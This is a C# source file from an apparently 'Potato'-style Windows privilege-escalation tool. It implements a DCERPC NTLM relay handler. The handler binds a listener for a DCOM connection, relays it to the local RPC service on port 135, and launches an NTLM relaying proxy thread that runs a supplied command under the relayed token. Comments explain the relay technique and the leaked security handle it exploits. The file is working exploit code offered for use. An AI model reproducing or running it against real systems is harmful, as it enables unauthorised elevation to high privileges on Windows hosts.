using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace Potato
{
    class DCERPCNtlmHandler
    {
        public static AutoResetEvent finished = new AutoResetEvent(false);
        public void start(String connectHost,String connectPort,String rpcHost,String rpcPort, String command, bool dropFirst, String enable_token)
        {
            Console.WriteLine("Starting DCERPC NTLM Relay...");

            //Create our listener on 6666. Unmarshaling of our DCOM object will cause it to connect to this listener
            IPEndPoint ipsrv = new IPEndPoint(IPAddress.Parse(connectHost), Int32.Parse(connectPort));
            Socket smbRelaySock = new Socket(ipsrv.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
            smbRelaySock.Bind(ipsrv);
            smbRelaySock.Listen(20);
            bool serviceStartSuccess = false;
            Queue<byte[]> ntlmQueue = new Queue<byte[]>();
            while (!serviceStartSuccess)
            {
                //Block until we get a connection to 6666 from RPC - may have to do this multiple times, thats why its in a loop :)
                Socket targetSock = smbRelaySock.Accept();

                //Connect to the Windows RPC service on 135 - we are going to relay packets incoming on the above
                //connection to this in order to stimulate traffic.
                IPEndPoint winRpcHost = new IPEndPoint(IPAddress.Parse(rpcHost), Int32.Parse(rpcPort));
                Socket winRpcSock = new Socket(winRpcHost.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                winRpcSock.Connect(winRpcHost);

                /*Fire up the NTLM Relaying proxy. This relays packets between target and winRpcSock. DCOM will connect with our listener 
                on 6666 it will do some RPC stuff and try to negotiate NTLM with us. We relay this to 135 on the localhost. The RPC service
                on 135 will generate an NTLM challenge, we use this packet as a template to reply to the NTLM negotiation from DCOM, but
                we replace the challenge with one generated by SMBRelay. We then use the reply from that to finish the relay.*/

                // Personal note, this is not actually needed, we only need the template packet, the only thing that really needs
                // replaced is the special ""hidden"" ""hash"" which is actually a SecurityHandle thats leaked when the Local Auth
                // flags are set via negotiation.
                NTLMRelayingProxy relayProxy = new NTLMRelayingProxy();
                // changing this to static... so we can set it in the thread..
                Thread NTLMRelayingProxyThread = new Thread(() => relayProxy.startRelay(targetSock, winRpcSock, command, ntlmQueue, dropFirst, enable_token));
                NTLMRelayingProxyThread.Start();
            }

            finished.Set();
            return;
        }
    }
}